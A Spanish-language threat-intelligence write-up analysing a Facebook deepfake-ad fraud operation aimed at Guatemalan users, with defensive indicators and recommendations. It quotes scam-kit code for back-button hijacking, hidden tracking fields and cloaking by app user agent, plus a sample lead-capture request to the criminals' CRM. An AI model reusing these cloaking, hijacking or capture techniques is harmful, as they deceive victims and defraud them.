Anatomía de una operación de deepfakes contra Guatemala
Threat IntelligenceAnálisis técnico

Anatomía de una operación de deepfakes contra Guatemala


Este es el análisis técnico de la campaña documentada en el post anterior. Si llegaste acá buscando explicación general sobre la estafa, ese post está pensado para audiencia no técnica.

Detrás de los anuncios con deepfakes que circulan en Facebook contra usuarios guatemaltecos hay un ecosistema técnico con infraestructura reutilizada, kit con rastros lingüísticos rusoparlantes, cloaking por Facebook In-App Browser, captura de leads hacia un CRM externo y al menos una vulnerabilidad XSS reflejada en la propia infraestructura criminal.

Este post documenta el modus operandi, mapea las técnicas a MITRE ATT&CK y publica los indicadores de compromiso accionables para defensores, plataformas y equipos de takedown.

Metodología

La investigación combinó observación pasiva desde geo objetivo, instrumentación de browser con Playwright para emular Facebook In-App, análisis del JavaScript del kit, comparación de respuestas HTTP con y sin User-Agent móvil de Facebook, y reconstrucción del flujo de exfiltración hasta la infraestructura terminal.

No se ejecutaron pruebas intrusivas. Los datos enviados en formularios para verificación fueron sintéticos. No se publican payloads ofensivos.

Topología del ecosistema

El siguiente diagrama resume la cadena observada desde el anuncio en Facebook hasta el destino final de los datos exfiltrados.

Arquitectura técnica observada en la operación

El elemento que une todas las campañas observadas es el script compartido montanasquad.com/lander/input/input.js. Los dominios de aterrizaje rotan. El kit no.

Cloaking por Facebook In-App Browser

La primera capa de evasión filtra por contexto de ejecución. Los dominios denovae-m-alpixelus-coomegai.info y dezena-6-aldriftum-allunaro.info renderizan contenido cuando se acceden desde dentro de la aplicación de Facebook, y devuelven respuesta vacía cuando se acceden desde un navegador externo.

Petición desde browser Chrome estándar:

$ curl -sI 'https://dezena-6-aldriftum-allunaro.info/?utm_visit=2636bc0a-f991-4846-b515-2f9c1e6ce30a'
HTTP/2 200
content-length: 0
server: cloudflare
cf-cache-status: DYNAMIC

El mismo dominio, accedido desde dentro de la app de Facebook (User-Agent del In-App Browser, referer de Facebook y parámetros de campaña presentes), renderiza el lander completo con la VSL, el formulario y el resto del flujo. La diferencia de comportamiento contra la misma URL es la firma del cloaking.

El cloaking parece validar combinaciones de User-Agent, Referer, parámetros de campaña (fbclid, utm_visit, utm_source=fb) y posiblemente fingerprinting adicional del WebView. Es eficaz contra urlscan, VirusTotal y sandboxes públicos que escanean desde IPs conocidas con navegadores headless en configuración estándar.

El impacto operativo es claro. Las herramientas tradicionales de threat intel pasivo no ven estos kits. La detección requiere observación desde geo objetivo con perfil móvil emulando In-App Browser, o telemetría de víctimas reales.

Anatomía del kit input.js

El script central del ecosistema vive en montanasquad.com/lander/input/input.js y es referenciado por todos los landers observados. Implementa la lógica de captura de leads, validación local, anti-duplicado, tracking y back-button hijacking.

Inserción de campos hidden y tracking

El script inyecta dinámicamente campos hidden con identificadores de afiliado en cada formulario antes del envío:

let subid = document.createElement('input');
subid.value = getSubId();
subid.name = 'sub1';
subid.type = 'hidden';

let utm_medium = document.createElement('input');
utm_medium.value = parametr.get('xbaer') ?? parametr.get('utm_medium');
utm_medium.name = 'sub2';
utm_medium.type = 'hidden';

if (parametr.has('xtoken')) {
    let xtoken = document.createElement('input');
    xtoken.value = parametr.get('xtoken');
    xtoken.name = 'xtoken';
    xtoken.type = 'hidden';
    el.insertAdjacentElement("afterbegin", xtoken);
}

Los parámetros xbaer, xtoken, xsource, xcreo, xoffer, xdomoffer no son estándar de ningún sistema publicitario conocido. Son convenciones internas del kit, probablemente para rastrear afiliados a través de redes CPA.

Validación de teléfono por país

El kit valida que el número de teléfono coincida con el código de país objetivo de la campaña. Para Guatemala:

const mask = "+502 9999 9999"; // формат для Гватемалы

El comentario en cirílico es uno de varios rastros lingüísticos en el código. Los junto todos más abajo.

Anti-duplicado y control de cuota

El kit limita el número de leads que un mismo usuario puede generar, usando localStorage:

let order = localStorage.getItem('order') ?? 0;
// ...
if (phone.value == localStorage.getItem('phone')) {
    await createPopup('The number you entered has already been used for the order.')
    return;
}
if (order == 2) {
    await createPopup('You have left the maximum number of orders.')
    return;
}

Los mensajes de popup están en inglés mientras el resto del lander es español. Otro tell del kit empaquetado y traducido parcialmente.

Back-button hijacking

La función domonetka reemplaza el comportamiento del botón “atrás” del navegador. Al intentar volver, en lugar de cerrar el lander, se muestra un iframe a pantalla completa con una oferta de retención:

function domonetka(comID, dam) {
    let html = `<iframe id="iframe" src="" frameborder="0"></iframe>`;
    body.insertAdjacentHTML('afterbegin', html);
    // ... estilos fullscreen ...
    
    history.pushState('1', '', location.href);
    history.pushState('2', '', location.href);

    window.onpopstate = function (event) {
        if (event.state === "1") {
            iframe.style.display = 'block';
            body.style.overflow = 'hidden';
        }
    };
}

El nombre domonetka remite al ruso монета / монетизация (moneda / monetización). Otro rastro lingüístico más en el código.

El falso 403 con contacto Telegram

Si alguien accede directamente a /lander/ sin parámetros válidos, el script renderiza un mensaje de error 403 que también funciona como punto de contacto para el operador del kit:

if (window.location.href.includes('/lander/')) {    
    document.body.innerHTML = '';
    const message = document.createElement('div');
    message.innerHTML = `403 Forbidden<br>You don't have permission to access / on this server.<br>Tg contact:
    <a href="https://t.me/[REDACTADO]" target="_blank">@[REDACTADO]</a>`;
    // ...
}

El bot de Telegram embebido responde en ruso cuando se le escribe. Es el contacto de soporte o venta del kit. No publicamos el handle para no quemar el pivot operacional, pero queda documentado como indicador de comportamiento.

Rastros rusoparlantes

Múltiples señales en el código y la infraestructura apuntan a un kit o soporte de origen rusoparlante:

// формат для Гватемалы
//   → "formato para Guatemala"

// перевод чаÑов в миллиÑекунды
//   → "conversión de horas a milisegundos" (mojibake de UTF-8)

// форматируем дату в UTC
//   → "formateamos la fecha en UTC"

// запиÑываем куки
//   → "escribimos la cookie"

Las rutas de campaña también usan palabras transliteradas del ruso. Por ejemplo, en landers de Visionix aparece la palabra zrenie, del ruso зрение (visión):

/lander/buyer---visionix-low-price----gt--zrenie---zrenie-gt-es-rafael-espada-...

Conclusión prudente: existen rastros técnicos consistentes con plantillas, scripts o soporte de un ecosistema rusoparlante. Esto no atribuye la operación final a un actor ruso. Los kits se venden, se piratean y se reutilizan. Lo que está confirmado es la herencia técnica del código.

CRM externo y captura de leads

Para las campañas financieras, los leads no se quedan en la infraestructura local del lander. Se envían a un CRM externo identificado como fiveteam.hn-crm.com, vía POST cross-site con CORS configurado:

POST /api/external/integration/lead HTTP/2
Host: fiveteam.hn-crm.com
Content-Type: application/json
Origin: https://qivorant.com
Sec-Fetch-Site: cross-site

{
  "affc": "AFF-29M1MIUEE6",
  "vtc": "VT-HP8XSRMKVS6E7",
  "subId": "snd7vv.44d.f3uuq",
  "funnel": "HaliTradi",
  "lang": "es",
  "landingURL": "https://qivorant.com/lander/...",
  "profile": {
    "firstName": "...",
    "lastName": "...",
    "email": "...",
    "phone": "null33066589",
    "password": "aA1E23135167&"
  },
  "ip": "...",
  "geo": "...",
  "utmId": "968632779152553",
  "subId_f": "ALK"
}

Dos detalles relevantes en este payload.

El primero es el valor "phone": "null33066589", donde el kit concatenó literalmente el string null con el número. Es un bug de armado, consistente con código apresurado y empaquetado para velocidad de despliegue antes que para calidad.

El segundo, y más serio, es el campo password dentro de profile. La víctima nunca ve ese campo en el formulario. El kit lo genera del lado cliente con patrón de complejidad (mayúscula, minúscula, números, símbolo) y lo envía al CRM. Esto sugiere que el CRM está creando una cuenta en una plataforma externa a nombre de la víctima, usando ese email y password, antes de que el call center contacte.

El servidor responde con headers identificadores:

X-Powered-By: HyperOne
X-App-Version: 18.20.0
X-Trace-Id: ti-66f3a230-5a12-11f1-8465-7b1dc03b21d0
Via: 1.1 google
Server: cloudflare
Access-Control-Allow-Origin: https://qivorant.com

El header X-Powered-By: HyperOne apunta a infraestructura o software asociado a ese proveedor (un servicio cloud de origen polaco). Es un indicio geográfico leve, no concluyente por sí solo, y consistente con los rastros rusoparlantes del kit. Lo que sí confirma coordinación es el Access-Control-Allow-Origin restringido específicamente a qivorant.com. El CRM y el lander son partes de una sola operación, no servicios independientes que se descubrieron entre sí.

La vulnerabilidad XSS en la infraestructura criminal

Durante el análisis se identificó una vulnerabilidad de Cross-Site Scripting reflejado en uno de los landers, en un parámetro de tracking. El valor se refleja sin escape dentro del atributo value de un input hidden, permitiendo romper el contexto HTML.

No publicamos el payload ni la cadena de explotación. La vulnerabilidad existe en infraestructura activamente usada para fraude, y publicarla equivaldría a entregar una herramienta para hijack de leads a un tercero malicioso.

Lo relevante para este post es que el ecosistema criminal también tiene fallas de seguridad. Cualquier actor secundario con conocimiento del parámetro vulnerable puede inyectar JavaScript en el contexto del lander, capturar credenciales antes que el operador principal, redirigir víctimas a infraestructura propia, o simplemente disruptir la operación.

La presencia de una XSS en código que captura datos personales para fraude no sorprende. Estos kits se arman para desplegarse rápido, no para resistir auditoría. Y cuando el “cliente” también opera en el ecosistema criminal, la calidad del código no suele ser prioridad.

Mapping a MITRE ATT&CK

ATT&CK Enterprise está pensado para TTPs de intrusión de red, no para fraude de consumidor. Por eso el encaje es parcial y algunas técnicas aplican de forma aproximada. Incluyo solo las que se sostienen con la evidencia del caso, en lugar de forzar la operación entera al framework. Algunos mapeos representan infraestructura usada por la operación, no necesariamente infraestructura registrada de forma directa por el operador.

ID Técnica Evidencia en el caso
T1583.001 Acquire Infrastructure: Domains Rotación constante de dominios .bond, .info, dominios con nombres aleatorios
T1583.004 Acquire Infrastructure: Server CRM externo fiveteam.hn-crm.com con headers asociados a HyperOne
T1585.001 Establish Accounts: Social Media Páginas de Facebook descartables como “Pulso Vital”, “Future Pulse”, “Global Visionary”
T1656 Impersonation Deepfakes del Dr. Espada, Dionisio Gutiérrez, Luis von Ahn, Ricardo Arjona
T1566.002 Phishing: Spearphishing Link Anuncios de Facebook como vector de entrega
T1204.001 User Execution: Malicious Link Click del usuario en el anuncio
T1056.003 Input Capture: Web Portal Capture Formularios falsos con captura de datos personales y credenciales

Otras técnicas observadas no tienen un identificador limpio en ATT&CK Enterprise. El cloaking diferencial por User-Agent funciona como evasión de análisis, pero no corresponde a Debugger Evasion ni a las técnicas de evasión orientadas a host. El back-button hijacking y el preregistro silencioso en el CRM tampoco mapean con precisión. Documentarlos como comportamiento observado es más honesto que asignarles un ID que no encaja.

Indicadores de Compromiso (IoCs)

Para uso defensivo. Estos indicadores reflejan el estado observado durante la investigación. La operación rota infraestructura activamente; algunos indicadores pueden estar inactivos al momento de lectura, otros pueden haberse agregado.

Dominios y endpoints

gt.onlinemedservice.org
montanasquad.com
net-gorquinth.bond
qivorant.com
fiveteam.hn-crm.com
denovae-m-alpixelus-coomegai.info
dezena-6-aldriftum-allunaro.info
videomaxhost.cloud
player.videomaxhost.cloud

Rutas observadas

/lander/
/lander/input/input.js
/lander/success/index.php
/api.php
/order.php
/api/external/integration/lead

Parámetros de tracking distintivos

xbaer, xtoken, xsource, xcreo, xoffer, xdomoffer
sub1, sub2, sub3, subId, subId_a..subId_f
affc (AFF-*), vtc (VT-*), funnel, utmId
nocloackpls   (se conserva la ortografía observada)

Identificadores de afiliado observados

AFF-29M1MIUEE6
VT-HP8XSRMKVS6E7
funnel=HaliTradi
utmId=968632779152553

Productos / nombres de funnel

Fisio Forte
Visionix
HaliTradi
HALYTRADY AI

Pivots de búsqueda

Strings únicos del kit para usar en hunting:

"montanasquad.com/lander/input/input.js"
"domonetka"
"формат для Гватемалы"
"tokenfb=yes"
"nocloackpls"
"Lead added successfully"
"You have left the maximum number of orders"
"X-Powered-By: HyperOne"

Comportamiento HTTP característico

Browser externo: HTTP 200 + Content-Length 0
FB In-App UA + Referer Facebook: HTTP 200 + HTML completo

Recomendaciones

Para Meta / plataformas publicitarias: los patrones más distintivos son el cloaking diferencial por User-Agent (un anuncio cuyo destino devuelve contenido vacío al crawler de revisión pero contenido completo al WebView de la app), el uso de deepfakes de figuras públicas reconocidas, y la mención de productos o “plataformas” que no existen en registros comerciales legítimos. Los placeholders sin resolver de Ads Manager ({{adset.id}}, {{ad.name}}) que aparecen en algunos landers también son señal de operación apresurada.

Para instituciones suplantadas (bancos, medios, figuras públicas): el monitoreo de Certificate Transparency logs es una de las defensas proactivas más útiles. Los dominios típicos de estas campañas se registran horas antes de ser usados y aparecen en CT logs antes de generar tráfico. Monitoreo de CT con matching fuzzy por marca (sobre fuentes como CertStream) da tiempo de respuesta razonable. Para figuras públicas, el monitoreo de Meta Ad Library con búsqueda por nombre permite detectar campañas activas antes de que escalen.

Para CSIRTs nacionales y registrars: los TLDs .bond y .info con nombres aleatorios largos son señales tempranas. Coordinación con Cloudflare abuse (la mayoría de la infraestructura observada está detrás de Cloudflare) y registrars típicos del ecosistema CPA acelera takedowns. El framework HyperOne en el CRM y el patrón de URL /api/external/integration/lead son pivots para hunting de otras campañas relacionadas.

Para investigadores: los sandboxes públicos no funcionan contra esto. El análisis requiere instrumentación de browser desde geo objetivo emulando In-App Browser, con captura completa de HAR y DOM. Compartir IoCs entre pares ayuda más que trabajar estos casos de forma aislada.

Cierre

Esta operación va a seguir activa después de que se publique este post. Los operadores rotan dominios, cambian nombres de productos y es probable que ajusten los User-Agents que validan en el cloaking apenas esto sea público. Lo que cuesta más cambiar es el kit base, el CRM, el patrón de campaña y los rastros lingüísticos del código. Ahí es donde conviene seguir mirando.

Esta operación probablemente seguirá rotando dominios, productos y páginas. Los indicadores individuales pueden cambiar rápido, pero el patrón operativo es más difícil de reemplazar: cloaking por Facebook In-App Browser, kit JS reutilizado, formularios de captura, CRM externo y abuso de figuras públicas como señuelo.

Para defensores, el valor está en monitorear la estructura completa, no solo el dominio activo del día.


CyberIntGT — investigación independiente.

Material relacionado: Si viste al Dr. Espada o a Dionisio vendiendo algo en Facebook, no eran ellos — versión para audiencia general.

threat intelligencedeepfakephishingguatemalafacebookosintmitre attackioc